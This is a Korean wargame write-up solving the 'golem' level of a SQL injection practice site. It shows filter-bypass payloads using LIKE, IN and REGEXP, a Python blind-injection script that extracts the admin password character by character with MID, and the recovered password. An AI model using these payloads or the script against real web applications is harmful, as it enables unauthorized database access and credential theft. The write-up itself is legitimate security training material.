golem

10. skeleton 문제와 동일하게 pw 파라미터에서 인젝션을 진행해야 한다.
이번 문제에서는 필터링 문자열이 조금 추가되었다. (prob _ . () or and substr( =)

홑따옴표 사용이 가능하므로 아래와 같이 우회 구문을 작성할 수 있다.
WHERE 절에 id가 admin 인 행을 조회해야 하는데, 현재 EQUAL(=) 문자가 필터링 되고 있다.
이건 ( WHERE id LIKE 'admin' / WHRE id IN ('admin') / id REGEXP '^admin$' / WHERE STRCMP(id,'admin')<1 ) 등의 방법을 사용하면 우회할 수 있다.

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27%20%7C%7C%20id%20LIKE%20%27admin%27%20%26%26%20LENGTH(pw)%3C10%20%26%26%202%3E1--+

admin 계정의 pw 컬럼 값의 길이는 8로 확인했다.

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27%20%7C%7C%20id%20IN%20(%27admin%27)%20%26%26%20LENGTH(pw)%3C8%20%26%26%202%3E1--+

이후 admin 계정의 패스워드는 이전 문제에서 사용한 파이썬 스크립트를 활용하였는데,
현재 SUBSTR 함수 사용이 불가하므로 이와 유사한 기능을 수행하는 LEFT, RIGHT, MID 등의 함수를 대신 사용했다.
( 앞서 말한 함수 중 MID 함수는 아래와 같이 동작한다. )

SELECT MID('abcdefg', 2, 4);
-- SELECT SUBSTR('abcdefg', 2, 4);
-- SELECT SUBSTRING('abcdefg', 2, 4);

(출력 결과) bcde

수정된 스크립트는 아래와 같다.

import requests
 
TRAGET_URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
 
for i in range(1, 9):
    for j in range(33, 123):
        URL = TRAGET_URL + f"?pw=%27%20%7C%7C%20id%20IN%20(%27admin%27)%20%26%26%20ASCII(MID(pw,{i},1))<{j}%20%26%26%202>1--+"
        res = requests.get(URL, cookies=COOKIE)
        if "Hello admin" in res.text:
            PASSWORD += chr(j - 1)
            print(f"Extracted admin's password : {PASSWORD}")
            break
            
'''출력 결과
Extracted admin's password : 7
Extracted admin's password : 77
Extracted admin's password : 77d
Extracted admin's password : 77d6
Extracted admin's password : 77d62
Extracted admin's password : 77d629
Extracted admin's password : 77d6290
Extracted admin's password : 77d6290b
'''

쨘, 클리어 성공했다.

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b

🐛.. 🐛.. 🐛..